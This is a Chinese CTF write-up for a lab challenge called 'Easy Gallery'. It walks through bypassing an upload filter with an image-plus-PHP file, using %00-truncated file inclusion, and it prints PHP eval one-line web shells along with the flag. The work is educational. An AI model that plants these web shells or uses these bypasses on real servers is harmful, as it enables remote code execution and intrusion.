描述:
"没有什么防护是一个漏洞解决不了的,如果有,那就....."http://web.jarvisoj.com:32785/
Easy Gallery
Submit Your photos and descriptions of photos~
上传页面
http://web.jarvisoj.com:32785/index.php?page=submit
查看页面
http://web.jarvisoj.com:32785/index.php?page=view
分析:
-
感觉是要传图片但是执行作为php解析并执行命令(),而且坑不止一个!
先改文件名,好的不给传,不是前端校验。
再改Content-Type,好的不给传,并不是那种会被轻易蒙蔽的系统!


- 既然检查文件内容了那么感觉是不是图片马呢!在图片内容后面跟了个一句话,上传成功。在view界面输入id查看图片
http://web.jarvisoj.com:32785/show.php?id=1536503255&type=jpg
。
查看源代码<img src="uploads/1536503255.jpg"/>
得到http://web.jarvisoj.com:32785/uploads/1536503255.jpg
的绝对地址,访问了下,是的。然后就不知道干啥了,为什么到这里还不给我flag!()
- 然后大佬说因为参数=filename所以看起来就像文件包含,好吧你说像就像。文件包含的时候发现后面为何自动带了个.php,贼心一起,用%00截断发现是可以解析的,只不过提示
you shall not pass"you should not do this"。思路再次卡死。
文件包含
%00截断
- 然后
大佬说感觉可能是php一句话的什么被过滤了,换用:<script language="php">@eval_r($_POST['cmd'])</script>
换句话

得到flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}
总结
- 串一下思路,首先是把php上传(改文件名、改Content-Type,改文件内容),然后是如何解析并执行php(web容器的解析漏洞、php文件包含)。ctf题不会需要你连菜刀搞事的()。
- 这是一道常识题,我们来存一下常识。
<?php @eval($_POST['pwd']);?>
<script language="php">@eval_r($_POST['pwd'])</script>
CTF从入门到放弃

网友评论